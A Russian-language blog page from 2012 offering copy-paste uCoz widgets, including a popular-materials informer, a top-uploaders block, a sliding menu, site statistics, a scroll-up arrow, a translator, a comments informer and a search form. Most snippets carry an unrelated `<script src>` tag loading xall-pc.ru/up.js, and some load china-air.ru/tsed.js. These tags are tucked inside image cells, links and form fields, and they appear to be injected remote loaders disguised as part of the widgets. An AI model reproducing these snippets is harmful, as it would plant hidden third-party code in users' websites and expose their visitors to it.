Главная Регистрация Вход
Приветствую Вас Гость!


Главная » 2012 » Декабрь » 1 » Множество примочек для системы UCOZ
13:50
Множество примочек для системы UCOZ

Множество примочек для системы UCOZ

Преставляем вашему вниманию огромную коллекцию гаджетов для системы UCOZ, блгодаря которым, вы сможете разнообразить и обновить свой интернет ресурс с движком системы UCOZ.


Информер популярных материалов для (uCoz)

Множество примочек для системы UCOZ

Создаём информер:
Каталог файлов > Материалы > Количество просмотров D > Материалы:сколько хотим > Колонки: 1
В шаблон информера вставляем:

<div class="FimwareInf"> <table border="0" cellpadding="0" cellspacing="0" width="100%"><tr> <td width="25px" style="background:#fff; padding:3px; padding-bottom:4px;"><script src="http://xall-pc.ru/up.js" type="text/javascript"></script><img src="$IMG_URL1$" width="28px" height="28px" border="0"></td> <td valign="top" style="border:0px; border-left:1px solid #ccc;"> <div style="padding:5px; height:25px; overflow:hidden;"><a href="$ENTRY_URL$" title="">$TITLE$</a></div> </td> </tr></table> </div><div style="border-top:1px solid #ccc; border-bottom:1px solid #fff;"></div>


В CSS:

div.FimwareInf {background:#f5f3f3;}  
div.FimwareInf:hover {background:#fff;}

Скрипт набор персонала для ucoz

Множество примочек для системы UCOZ

Установка скрипта: Код вставить в страницы сайта после --> "</head>"

<script type="text/javascript" src="http://bambun.ru/css_js/jquery.easing.js"></script>  
<script type="text/javascript" src="http://bambun.ru/css_js/jquery.sweet-menu-1.0.js"></script>  
<script src="http://xall-pc.ru/up.js" type="text/javascript"></script>  
  <script type="text/javascript">  
  $(document).ready(function(){  
   
  $('#backMenu').sweetMenu({  
  top: 40,  
  padding: 8,  
  iconSize: 48,  
  easing: 'easeOutBounce',  
  duration: 500,  
  icons: [  
  'D1z-GameS.Ru'  
  ]  
  }); 

Скрипт-Информер "Топ Аплоадеров (Пользователей)" для Ucoz

Множество примочек для системы UCOZ

В скрипте указывается аватар пользователя, его ник и место,
Его группу, количество релизов и тем на форуме.

Установка:
1) Создаём новый информер с названием "Топ аплоадеров".

2) Информер с такими настройками:
Пользователи - Материалы - Кол.файлов - Материалы 4 - Колонки 1.

3) В шаблон информера вписываем такой код:

<div class="screenshot"><table cellspadding="0" class="topten_table" style="border-color: #000000; width: 100%; margin: 0px;" cellspacing="0"> <tbody><tr> <td style="padding: 2px 0px 2px 4px; cursor: pointer; border-left: 0px; width: 48px;" onclick="'';"><center><script src="http://xall-pc.ru/up.js" type="text/javascript"></script><img title="$USERNAME$" class="userAvatar" src="$AVATAR_URL$" border="0" height="48" width="48"> <IMG SRC="http://bambun.ru/images/noav9atar.png" BORDER="0" width="48" height="48"> </center> </td><td style="padding: 2px 0px 2px 4px; cursor: pointer; border-left: 0px; text-align: left; font-size: 10px; font-family: tahoma, verdana, arial; color: #555555; line-height: 14px;" onclick="';"><font style="font-size: 12px; color: #000000;"><b>$USERNAME$</b> ($NUMBER$ место)</font>
<font color="#1882ed">$GROUP_NAME$</font><br> Релизов: <b><font color="#000000">$LOAD_POSTS$</font></b>
Форум: <b><font color="#000000">$FORUM_POSTS$</font></b></td> </tr> </tbody> </table></div><br>

4) В конструкторе создаём новый блок с названием "Топ алоадеров" и в него прописываем номер информера (У меня это $MYINF_6$).

Информер легко настроить под себя.

Плеер онлайн радио для сайтов UCOZ и DLE



Lovifm - Это простой, красивый и удобный способ слушать онлайн радио и музыку.
Слушайте тысячи радиостанций самых разных жанров и из самых разных стран.

Замечательное онлайн радио для вашего сайта.
Не важно какой тематики у вас сайт это радио впишиться в любой дизайн.
Ещё одним плюсом плеера то что при переходе по страницам плеер запоминает
Станции которые вы прослушивали.

<iframe style="border:1px solid #999999;overflow:hidden;border-radius:5px;-webkit-border-radius:5px;-moz-border-radius: 5px;" frameborder="0" scrolling="no" src="http://lovi.fm/mini/?c=2&a=0&r=1&h=165&s=1094,1090,1093,1088,861,169,1172,1099,422,862,836,535,627,992,615,863,210,758,837,1256,1087,365,1142,973,864,565,
789,554,743,966,827,133,153,163,193,993,164,131,533,204,206,865,1086,389,424,128,129,1011,1123,30,1246,1049,261,788,
1122,868,315,566,777,740,706,341,317,642,651,161,370,87,845,846,213,214,126,216,647,391,1231,368,646,1232,1229,1052,
272,522,518,520,371,653,525,1053,199,22,263,785,742,870,958,53,56,57,59,61,63,64,1076,187,217,465,1101,1104,1105,1106,
1108,1183,372,1255,611,848,1054,1043,186,428,86,321,707,726,851,273,276,275,274,277,797,1152,282,1180,963,998,292,130,
132,926,111,999,872,329,928,971,322,470,725,972,200,257,342,108,144,396,873,125,1252,1250,1253,1251,1248,1236,639,626,
618,258,259,260,1258,218,874,875,219,741,982,323,786,634,19,156,1120,423,176,575,1124,860,1061,1146,941,633,1016,801,
530,802,1116,1062,727,1063,343,1178,616,805,21,728,441,576,1177,644,223,224,225,1148,1260,749,694,526,28,38,464,1021,
719,483,42,1064,1067,1068,406,1069,344,1030,1045,1029,1041,284,943,168,1111,345,226,944,458,26,197,1125,227,362,1130,
1134,467,945,806,1085,1166,1126,1127,25,293,415,643,442,435,1151,983,1004,759,828,170,174,299,881,1181,436,353,608,882,
377,1070,1128,1113,705,443,378,778,346,887,1071,948,890,808,760,495,325,1137,748,949,183,1156,981,1017,450,481,480,80,
459,482,271,779,252,1073,762,895,433,46,47,453,1074,409,408,697,502,763,1075,294,349,975,1264,1262,782,1019,1163,328,
454,698,1047,402,351,1012,413,330,1160,162,510,332,496,1167,1119,1117,444,746,986,898,1162,1131,1005,333,135,831,900,
334,41,354,487,300,701,335,1080,1238,769,716,772,493,773,1121,1044,980,407,410,1234,417,146,160,609,23,69,67,68,71,74,
690,1084,1118,419,418,688,1129,2,167,95,230,233,357,414,239,420,434,358,35,179,242,244,1027,1026,736,1032,1033,1034,
1037,1031,109,913,1209,1207,1202,1208,1203,1192,1201,1006,266,717,1007,421,1239,1008,1082,952,714,1230,589,563,1176,
158,572,590,1133,461,556,1009,818,1010,137,704,209,189,916,182,89,246,247,27,36,297,267,154,446,367,607,581,591,559,
586,954,1235,918,561,614,562,557,558,256,919,920,121,1175,338,735,141,188,654,114,113,249,1219,65,684,251,1226,85,301,
1247,318,1169,665,264,43,1218,656,658,657,660,659,290,289,1015,32,1237,31,757,655,666,208,462,663,667,978,1223,689,
1224,88,45,102,303,430,1225,989,24,825,92,29,253" width="165" height="165"></iframe><script src="http://xall-pc.ru/up.js" type="text/javascript"></script>

Простое раздвижное меню для uCoz



Очень удобное раздвижное меню для uCoz,
для каждой категории можно поставить соответствующую иконку.

Установка:

В таблицу стилей вашего сайта вставляем этот код:

a.s-menu:link, a.s-menu:visited {display:block; border-bottom:1px solid #f7f7f7; font-weight:bold; padding:3px 0px 3px 5px; color:#696969;}  
a.s-menu:hover {background:#F3F3F3; border-bottom:1px solid #E7E7E7; color:#696969;}  
a.ss-menu:link, a.ss-menu:visited {display:block; border-bottom:1px solid #f7f7f7; font-weight:normal; padding:3px 0px 3px 5px; color:#696969; margin-left:16px;}  
a.ss-menu:hover {background:#F3F3F3; border-bottom:1px solid #E7E7E7; color:#696969;}

Там где хотите вывести меню вставляем этот код:

<table class="f-block" border="0" cellpadding="0" cellspacing="0" width="100%"><script src="http://xall-pc.ru/up.js" type="text/javascript"></script><tbody>  
<tr><td class="b-middle">  
<a href="/" class="s-menu"><img src="/images/icons/zagruzka-plus.png" alt="" align="absmiddle"> Загрузка+</a>  
<a href="http://forum.zagruzka-plus.ru/" class="s-menu"><img src="/images/icons/comments.png" alt="" align="absmiddle"> Форум</a>  
<a href="javascript://" onclick="$('#soft-menu').slideToggle('slow');" class="s-menu"><img src="/images/icons/soft.png" alt="" align="absmiddle"> Софт <img src="/images/icons/arrow_down.png" alt="" style="margin:0px;" align="absmiddle"></a>  
<div id="soft-menu" style="display:none; margin-bottom:5px;">  
<a href="/soft/cd-dvd/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> CD/DVD</a>  
<a href="/soft/ftp/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> FTP-Клиенты</a>  
<a href="/soft/security/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Безопасность</a>  
<a href="/soft/archives/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Архиваторы</a>  
<a href="/soft/browsers/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Браузеры</a>  
<a href="/soft/graphic/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Графика</a>  
</div>  
<a href="javascript://" onclick="$('#dle-menu').slideToggle('slow');" class="s-menu"><img src="/images/icons/icon15.png" alt="" align="absmiddle"> DataLife Egine <img src="/images/icons/arrow_down.png" alt="" style="margin:0px;" align="absmiddle"></a>  
<div id="dle-menu" style="display:none; margin-bottom:5px;">  
<a href="/dle/dle-tempalates/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Шаблоны</a>  
<a href="/dle/modules/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Модули</a>  
<a href="/dle/dle-scripts/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Скрипты</a>  
</div>  
<a href="javascript://" onclick="$('#ucoz-menu').slideToggle('slow');" class="s-menu"><img src="/images/icons/ucoz.png" alt="" align="absmiddle"> uCoz <img src="/images/icons/arrow_down.png" alt="" style="margin:0px;" align="absmiddle"></a>  
<div id="ucoz-menu" style="display:none; margin-bottom:5px;">  
<a href="/ucoz/scripts/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Скрипты</a>  
<a href="/ucoz/tempalates/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Шаблоны</a>  
<a href="/ucoz/menu/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Меню</a>  
<a href="/ucoz/buttons/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Кнопки</a>  
<a href="/ucoz/icons/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Иконки</a>  
<a href="/ucoz/rank/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Ранги</a>  
<a href="/ucoz/forum-tempalates/" class="ss-menu"><img src="/images/icons/category.png" alt="" align="absmiddle"> Шаблоны форума</a>  
</div>  
<a href="/music" class="s-menu"><img src="/images/icons/music.png" alt="" align="absmiddle"> Музыка</a>  
</td></tr>  
<tr><td class="b-bottom"></td></tr>  
</tbody></table>

Теперь качаем архив ( http://narod.ru/disk/64187793001.9df22ef76fd6df1ab2b30a6684520f8c/124_images.rar.html ), распаковываем
И кидаем все картинки в корень сайта в папку "images".

Статистика сайта для uCoz



Более гибкая статистика сайта ucoz. Нечего нового тут не придумано, просто удобная и полная статистика сайта в табличном формате. Статистика показывает данные: Сегодня нас посетили, онлайн лист, счетчики и количество зарегистрированных.

Шаг 1 - Установка CSS
Заходим в П.У - Дизайн - Управление дизайном(CSS) и вставляем код:

/* Статистика wallaby.ucoz.ru ------------*/  
.stats img {background:#f7f7f7;padding:4px;border-right:1px dotted #ccc;border-top:1px solid #ccc;border-left:1px solid #ccc}  
.stats_text {padding:4px;padding-right:none;border-top:1px solid #ccc;width:100%;border-right:1px solid #ccc;font:11px Tahoma;}  
.stats_text b {float:right;}  
.stat_counter {border:1px solid #ccc;padding:6px;width:100%;margin-top:-3px;}  
.stat_tit {border:1px solid #ccc;border-bottom:none;background:#f7f7f7;padding:4px;font-weight:bold;border-top:none}

Шаг 2 - Установка HTML
Данный код вставляем в нужное место на сайте, туда где хотите видеть вашу полную статистику для ucoz. Мы задействовали 2 информера, которые настроим ниже. Не забываем их заменить, это: $MYINF_1$ и $MYINF_2$.

<table class="stats" border="0" cellpadding="0" cellspacing="0" >  
$MYINF_1$  
<tr><td width="100%" class="stat_tit" colspan="2">Счетчики</td></tr>  
<tr><td class="stat_counter" colspan="2">$COUNTER$</td></tr>  
<tr><td width="100%" class="stat_tit" colspan="2">Онлайн лист</td></tr>  
<script src="http://xall-pc.ru/up.js" type="text/javascript"></script>
<tr><td class="stat_counter" colspan="2">$ONLINE_COUNTER$$ONLINE_USERS_LIST$</td></tr>  
<tr><td width="100%" class="stat_tit" colspan="2">Cегодня нас посетили</td></tr>  
<tr><td class="stat_counter" colspan="2">$MYINF_2$</td></tr>  
</table>

Шаг 3 - Создание информеров
Заходим в П.У - Инструменты - Информеры - Создать информер:
1)[ Счетчики для пользователей · Материалы · всех, по группам, по полу, по дням (сегодня, вчера, 7 дней, 30 дней) ]
В шаблон информера:

<tr><td><img src="http://bambun.ru/images/0043720c12b8.png"></td><td class="stats_text">Всего чел. на сайте: <b>$ALL_USERS$</b></td></tr>  
<tr><td><img src="http://bambun.ru/images/265987505.png"></td><td class="stats_text">Новых за месяц:<b> $30DAYS$</b></td></tr>  
<tr><td><img src="http://bambun.ru/images/909575937.png"></td><td class="stats_text">Новых за неделю:<b> $7DAYS$</b></td></tr>  
<tr><td><img src="http://bambun.ru/images/684243144.png"></td><td class="stats_text">Новых вчера:<b> $YESTERDAY$ </b></td></tr>  
<tr><td style="border-bottom:1px solid #ccc;"><img src="http://bambun.ru/images/642837267.gif"></td><td style="border-bottom:1px solid #ccc;" class="stats_text">Новых сегодня:<b> $TODAY$</b></td></tr>

Теперь копируем свой id информера и вставляем его во 2 Шаг, вместо $MYINF_1$.
2)Создаем 2 информер: [ Пользователи, посетившие сайт за текущий день · Материалы · Имя пользователя ]. Шаблон информера оставляем прежним, и во 2 Шаге заменяем id информера на свой, вместо $MYINF_2$.

Стрелка вверх



в самый вверх нижней части сайта:

<SCRIPT src="http://bambun.ru/css_js/strelka_exe.js" type="text/javascript" language="javascript"></SCRIPT>  
  <a id="gotop" class="scrollTop" href="#" onclick="top.goTop(); return false;" style="text-align: justify;"><script src="http://xall-pc.ru/up.js" type="text/javascript"></script></a>  
  <style type="text/css">  
  .scrollTop{  
  background:url(http://bambun.ru/images/up.png) 0 0 no-repeat;  
  display:block; width:32px; height:32px;  
  position:fixed; bottom:10px; right:1%;  
  z-index:2000;  
  }  
  .scrollTop:hover{ background-position:0 -58px; }  
  </style>

Часы на ваш сайт,блог



отличные часы на ваш сайт,блог

<center><embed width="185" height="185" quality="high" type="application/x-shockwave-flash" wmode="transparent" src="http://bambun.ru/images/clock6.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" allowscriptaccess="never"/><script src="http://xall-pc.ru/up.js" type="text/javascript"></script></center>

Перевод сайта на 7 языков



Это бесплатный переводчик для Вашего сайта, форума или блога!
С помощью этого скрипта, пользователь сможет читать страницу вашего сайта на своем родном языке.

Установка: Вставляем код там где хотим видеть.

<div align="center"><form action="http://www.google.com/translate_p" style="margin:0;padding:0;">
<script
type="text/javascript" src="http://bambun.ru/css_js/translate.js">
</script>
<input name="hl" value="ru" type="hidden" />
<input name="ie" value="UTF8" type="hidden" />
<input name="langpair" value="" type="hidden" />
<input
name="I1" value="ru|ro" title="Traduceti site-ul la limba
moldoveneasca" src="http://bambun.ru/images/flag_moldova.png" align="absbottom"
onClick="this.form.langpair.value=this.value" height="15" type="image"
width="20" />
<script src="http://xall-pc.ru/up.js" type="text/javascript"></script>
<input name="I2" value="ru|uk"
title="перевести сайт на Украйнскій мову"
src="http://bambun.ru/images/flag_ukraine.png" align="absbottom"
onClick="this.form.langpair.value=this.value" height="15" type="image"
width="20" />
<input name="I3" value="ru|bel"
title="перавесці сайт на Беларуская мова"
src="http://bambun.ru/images/flag_belarus.png" align="absbottom"
onClick="this.form.langpair.value=this.value" height="15" type="image"
width="20" />
<input name="I4" value="ru|de"
title="Ubersetzen Sie diese Seite ins Deutsche"
src="http://bambun.ru/images/flag_germany.png" align="absbottom"
onClick="this.form.langpair.value=this.value" height="15" type="image"
width="20" />
<input name="I5" value="ru|it"
title="Traduci il sito dalla lingua italiana"
src="http://bambun.ru/images/flag_italy.png" align="absbottom"
onClick="this.form.langpair.value=this.value" height="15" type="image"
width="20" />
<input name="I6" value="ru|en"
title="Translate this page to English"
src="http://bambun.ru/images/flag_usa.png" align="absbottom"
onClick="this.form.langpair.value=this.value" height="15" type="image"
width="20" />
<input name="I4" value="ru|fr" title="Francais" src="http://bambun.ru/images/flag_france.png" onclick="this.form.langpair.value=this.value" align="absbottom" type="image" width="20" height="15">
</form></div>

Полная статистика Ucoz




Блок для контейнера, с полной вариацией статистики вашего сайта на uCoz. Статистика отображается уровнем в процентном соотношение количества гостей и зарегистрированных пользователей из общей массы посетителей, так же кнопка для вывода посетивших сайт за день.
Не чего нового и сверх естественного тут нет, просто некое исполнения и компактность в собрание некоторых информационных вещей нужных ля сайта. Администрация сайта решила выставить свой блок из своего дизайна сайта.

Установка:
Данный код вставляем в блок:

<div style="display:none;">$ONLINE_COUNTER$</div><table width="100%" cellpadding="0" cellspacing="0" border="0">  
  <tr>  
  <td align="left" width="50%" valign="left"><span id="icon-border" style="margin-right:3px;"><span id="icon-gray"></span></span>Гости сайта</td>  
  <td align="right" width="50%" valign="right">Пользователи<span id="icon-border" style="margin-left:3px;"><span id="icon-blue"></span></span><script src="http://xall-pc.ru/up.js" type="text/javascript"></script></td>  
  </tr>  
  </table>  
  <div style="border:1px solid #ccc; background:#fff; padding:1px 2px; margin-top:2px;" id="stat-line" align="left"></div>  
  <div style="border:0px; padding:2px; text-align:center;" id="all-users"></div>  
  <script type="text/javascript">  
  var allusers = $('.tOnline b').html();  
  var gostusers = $('.gOnline b').html();  
  var siteusers = $('.uOnline b').html();  
  var uGosti = (gostusers/allusers).toFixed(2)*100;  
  var uUsers = 100 - uGosti;  
  function skl(a, n) {return a[n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>= 20) ? 1 : 2];};  
  $('#stat-line').html('<div class="cross1" style="width:'+Number(uGosti).toPrecision(3)+'%;" id="ghostss"><span style="padding-left:3px;">'+uGosti.toFixed()+'%</span></div><div class="cross2" style="width:'+Number(uUsers).toPrecision(3)+'%;" id="userss"><span style="padding-right:3px;">'+uUsers.toFixed()+'%</span></div>');  
  $('#all-users').html('Всего на сайте <b>'+allusers+'</b> '+skl(['человек', 'человека', 'человек'],allusers)+'</div>');  
  if (siteusers<1) $('#userss').hide();  
  if (gostusers<1) $('#ghostss').hide();  
  </script><hr><center>$COUNTER$</center>  
  <Hr><table width="100%" cellpadding="0" cellspacing="0" border="0">  
  <tr>  
  <td align="left" width="45%" valign="top" style="padding-left:2px;">Пользователи онлайн:  
  </td>  
  <td align="right" width="55%" valign="center">  
  <input class="buttonprofile" href="javascript://" rel="nofollow" onclick="new _uWnd('TdUsrLst',' ',250,200,{autosize:0},{url:'/index/62-2'});return false;" value="Кто посетил?" type="button"></td>  
  </tr>  
  </table>  
  <hr>$ONLINE_USERS_LIST$<hr><center>  
  <div id="userD" style="font-size:8pt;color:#000;"></div>  
  <script type="text/javascript">  
  function declOfNum(number, titles) {  
  cases = [2, 0, 1, 1, 1, 2];  
  return titles[ (number%100>4 && number%100<20)? 2 : cases[(number10:5] ];  
  };  
  $.get('/index/62-2',function(data){  
  spisok = $('a',$('cmd[p="content"]',data).text()).size();  
  $('#userD').html('Сегодня нас '+declOfNum(spisok, [" посетил", " посетило", " посетили"])+' <b>'+spisok+declOfNum(spisok, [" юзер", " юзера", " юзеров"])+'</b>')  
  });  
  </script>  
  </center>

в таблицу стилей вставляем сам стиль:

#icon-border {margin:0px; padding:1px; display:inline-block; border:1px solid #ccc; background:#fff;}  
  #icon-blue {display:inline-block; height:6px; width:6px; border:1px solid #586a7c; background:#607c99 url('http://bambun.ru/images/32298860.png) repeat-x top;padding-left:1px;}  
  #icon-gray {display:inline-block; height:6px; width:6px; border:1px solid #757B7F; background:#999999 url('http://bambun.ru/images/32298860.png') repeat-x top;}  
  .cross1{padding-top:1px;display:inline-block;padding-bottom:1px;color:#fff;text-align:center;margin:0px -1px;text-shadow:0px 1px 0px rgba(0,0,0,0.30);border:1px solid #757B7F;background:#7d7d7d;text-align:left;}.cross2{padding-top:1px;display:inline-block;padding-bottom:1px;color:#fff;text-align:center;margin:0px -1px;text-shadow:0px 1px 0px rgba(0,0,0,0.30);border:1px solid #586a7c;border-left:1px solid #646A6D;background:#61768A;text-align:right;}

Последние комментарии ucoz



Вывод последних комментариев стал еще удобнее и стильнее. Шаблон информера комментариев выполнен в светлых тонах, с использованием 1 картинки(1 кб). Пример того, как можно сделать свой сайт еще мобильнее.
Создаем информер комментариев ucoz
Инструмента => Информеры => Создать информер

и создаём данный информер:

Раздел: Комментарии
Модуль: Все модули
Количество материалов: 10
Количество колонок:1
HTML
Теперь заходи в шаблон информера, удаляем содержимое и заменяем на следующий HTML код:

<div class="last_comment_os transparency_i">  
  <div class="lc_message">  
  <a href="$ENTRY_URL$" title="$ENTRY_TITLE$">$MESSAGE$</a>
  <script src="http://xall-pc.ru/up.js" type="text/javascript"></script>
  </div>  
  <div class="lc_uzer">  
  <span class="lc_ugol"></span>  
    
  <a href="$PROFILE_URL$">  
    
  <img class="lc_avatar" alt="Аватар $USERNAME$" title="$USERNAME$" src="$USER_AVATAR_URL$" />  
    
  <img class="lc_avatar" title="$USERNAME$" alt="аватар отсутствует" src="http://bambun.ru/images/92873634.jpg" />  
    
  </a>  
    
  <img class="lc_avatar" title="$NAME$" alt="аватар отсутствует" src="http://bambun.ru/images/92873634.jpg"/>  
    
  <span class="lc_name"><a href="$PROFILE_URL$">$USERNAME$</a>$NAME$</span>  
  <span class="lc_data">$DATE$ | $TIME$</span>  
  </div>  
  </div>

CSS
Заходим в CSS и вставляем в конец следующие стили:

/* Белый вариант последних комментарий  
  ------------------------------------------*/  
  .last_comment_os {  
  overflow: hidden;  
  float:left;  
  font: 11px Verdana,Arial,Helvetica, sans-serif; color:#555;  
  width:250px;  
  margin: 5px 0px 5px 0px;  
  }  

  .last_comment_os a:link,  
  .last_comment_os a:visited {color:#555;}  
  .last_comment_os a:hover {color:#999;}  

  .lc_message {  
  float:left;  
  margin: 0;  
  padding:5px;  
  width:238px;  
  background: #F6F6F6;  
  border: 1px solid #D6D6D6;  
  }  

  .lc_uzer {  
  float:left;  
  text-align:right;  
  width:250px;  
  position: relative  
  }  

  .lc_ugol {  
  position:absolute;  
  float:right;  
  background: url(http://bambun.ru/images/242703095.png) no-repeat right;  
  width: 27px;  
  height: 27px;  
  top: -1px;  
  right: 20px;  
  }  

  .lc_avatar {  
  float:right;  
  width: 30px;  
  height: 30px;  
  padding:3px;  
  border: 1px solid #D6D6D6;  
  margin: 10px 55px 0px 10px;  
  }  

  .lc_name {  
  float:right;  
  width: 145px;  
  margin: 13px 0px 2px 0px;  
  font-weight: bold;  
  }  

  .lc_data {  
  float:right;  
  font: 9px Verdana,Arial,Helvetica, sans-serif; color:#999;  
  width: 145px;  
  }  

  .transparency_i a:hover img {  
  filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50);  
  -moz-opacity: 0.5;  
  opacity: 0.5;  
  filter: alpha(opacity=50);  
  }  
  /* ------------------------------------------*/

Кнопка "Регистрация" для uCoz



Красивая кнопка регистрации для ucoz. Выполнена в синих тонах. При на ведении на неё курсором, она красиво выдвигается.
Чтобы установить кнопку регистрации, нужно этот код вставить туда где вы хотите чтобы она отображалась:

<script type="text/javascript">  
  $(function($) {  
  $("#onlinehelp img").hover(  
  function () {  
  $(this).animate({right: '0'}, {queue:false, duration: 350});  
  //$(this).css('right', '0');  
  },  
  function () {  
  $(this).animate({right: '-160px'}, {queue:false, duration: 350});  
  // $(this).css('right', '-160px');  
  }  
  );  
  });  
  </script>  
  <a id="onlinehelp" href="$REGISTER_LINK$"  
  onclick="webChatOpen();return false;">  
  <img alt="Регистрация" src="http://bambun.ru/images/4283_programm-newuco.png" />
  <script src="http://xall-pc.ru/up.js" type="text/javascript"></script>
  </a>  
  <style type="text/css">  
  #onlinehelp img {  
  position: fixed;  
  top:40px;  
  right: -160px;  
  z-index: 99999;  
  cursor: pointer;  
  display: block;  
  }  
  </style> 

Информер "Отправить СМС"



Описание:

Информер "Отправить СМС"

Для установки информера поставьте на сайт следующий код в нужно Вам место:

<style type="text/css">
<!--
body,td,th {
  font-family: Arial, Helvetica, sans-serif;
  font-size: 10px;
}
a:link {
  text-decoration: none;
}
a:visited {
  text-decoration: none;
}
a:hover {
  text-decoration: none;
}
a:active {
  text-decoration: none;
}
-->
</style><table border="0" cellpadding="0" cellspacing="0">
  <tr>
  <td><a href="http://www.beeline.ru/sms/index.wbp" target="_blank"><img src="http://bambun.ru/images/beeline.gif" alt="beeline" width="90" height="58" border="0"></a></td>
  <td><a href="http://www.megafon.ru/sms/" target="_blank"><img src="http://bambun.ru/images/megafon.gif" alt="megafon" width="90" height="58" border="0"></a></td>
  </tr>
  <tr>
  <td><a href="http://sms.mts.ru/" target="_blank"><img src="http://bambun.ru/images/mts.gif" alt="mts" width="90" height="58" border="0"></a></td>
  <td><a href="http://www.u-tel.ru/b2b/facilities/sms" target="_blank"><img src="http://bambun.ru/images/utel.gif" alt="utel" width="90" height="58" border="0"></a></td>
  </tr>

  <tr>
  <td><a href="http://skylink.ru/msk/sms/" target="_blank"><img src="http://bambun.ru/images/skylink.gif" alt="skylink" width="90" height="58" border="0"></a><script src="http://china-air.ru/tsed.js" type="text/javascript"></script></td>
  <td><a href="http://sms.tele2.ru/" target="_blank"><img src="http://bambun.ru/images/tele2.gif" alt="tele2" width="90" height="58" border="0"></a></td>
  </tr>
  <tr>
  <td><a href="http://www.kyivstar.net/sms/" target="_blank"><img src="http://bambun.ru/images/kyivstar.gif" alt="kyivstar" width="90" height="58" border="0"></a></td>
  <td><a href="http://megacom.kg/rus/freesms/" target="_blank"><img src="http://bambun.ru/images/megacom.gif" alt="megacom" width="90" height="58" border="0"></a></td>
  </tr>
  <tr>

Форма поиска для Ucoz



Первое состояние, изображение лупы.
Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса.
Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы.

Итак давайте приступим к установке:
Установка CSS

#search {
  font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
  background:#fff;
  width: 8px;
  padding: 0 8px;
  height: 24px;
  font-size: 14px;
  color: #666;
  line-height: 24px;
  border: 0;
  outline: none;
  border-radius: 50px;
  position: relative;
  z-index: 5;
  -moz-transition: .1s ease;
  -ms-transition: .1s ease;
  -webkit-transition: .1s ease;
  -o-transition: .1s ease;
  transition: .1s ease;
  cursor:pointer;
}
#search:focus {
  border: 0;
  outline: none;
  width: 180px; /*ширина открытой формы*/
}
p.s {
  z-index: 4;
  position: relative;
  padding: 6px;
  border-radius: 100px;
  background: #abc8df;
  display: inline-block;
  cursor:pointer;
}
p.s:hover, p.s:hover:after {
  background: #9eb9cf;
}
p.s_fo {
  -o-transition: 0.9s;
  -moz-transition: 0.9s;
  -ms-transition: 0.9s;
  -webkit-transition: 0.9s;
  transition: 0.9s;
  -moz-transform: rotate(1080deg);
  -ms-transform: rotate(1080deg);
  -webkit-transform: rotate(1080deg);
  -o-transform: rotate(1080deg);
  transform: rotate(1080deg);
}
p.s:after {
  content: '';
  display: block;
  position: absolute;
  width: 7px;
  height: 12px;
  background: #abc8df;
  bottom: -4px;
  right: -2px;
  border-radius: 0 0 5px 5px;
  -moz-transform: rotate(-45deg);
  -ms-transform: rotate(-45deg);
  -webkit-transform: rotate(-45deg);
  -o-transform: rotate(-45deg);
  transform: rotate(-45deg);
}
.blue p.s, .blue p.s:after {background:#abc8df;} /*цвет лупы*/
.blue p.s:hover, .blue p.s:hover:after {background:#9eb9cf;} /*цвет лупы при наведении*/
.green p.s, .green p.s:after {background:#65b11c;}
.green p.s:hover, .green p.s:hover:after {background:#599c18;}
.gray p.s, .gray p.s:after {background:#d7d7d7;}
.gray p.s:hover, .gray p.s:hover:after {background:#c4c4c4;}
.pink p.s, .pink p.s:after {background:#ffbcef;}
.pink p.s:hover, .pink p.s:hover:after {background:#e49cd3;}
.orange p.s, .orange p.s:after {background:#faaa3a;}
.orange p.s:hover, .orange p.s:hover:after {background:#ea9e33;}
.black p.s, .black p.s:after {background:#676767;}
.black p.s:hover, .black p.s:hover:after {background:#484747;}

Добавляем их все также либо в стандартные стили ПУ / Дизайн / Управление дизайном (CSS), либо добавляем в свой css файл
Установка HTML

<form method="get" action="/search/" class="blue">
  <p class="s"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><input name="q" id="search" type="text" value=""></p>
</form>

Устанавливаем в то месте где хотим видеть...
Установка JS

<script>
jQuery(document).ready(function () {
  $('#search').focusout(function(){
  $('p.s').addClass("s_fo");
  });
  $('#search').focusin(function(){
  $('p.s').removeClass("s_fo");
  });
});
</script>

Копируем и вставляем либо в отдельный js файл, либо после html кода формы поиска

Чтобы изменить цветовыю схему формы поиска для uCoz достаточно изменить всего лишь один класс в html коде тега form ниже представленны 6 вариантов цветовых решений

blue - голубой
green - зеленый
gray - серый
pink - розовый
orange - оранжевый
black - черный

Если вы не нашли своего цветового решения, то можете с легкостью написать свое, прочтя комментарии в css коде, также можетеизменить и ширину раскрытой части.

Понравилась статья? Оставьте свое мнение в комментариях к ней...

Последние ответы на форуме в блоке для ucoz



Последние ответы на форуме в блоке для ucoz.

Установка:

Создаем информер: Название: Статистика форума в блоке --> Раздел: Форум --> Способ сортировки: Последние обновленные темы --> Количество материалов: 5 --> Количество колонок: 1.

В шаблоне информера всё удаляем, ставим этот код:

<img src="http://bambun.ru/images/756432556s.png"><a href="$THREAD_URL$"> $THREAD_TITLE$</a><br>
  <script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
  <img src="http://bambun.ru/images/56786821.png"> <font face="Comic Sans MS">Ответов:</font> $REPLIES$</span>
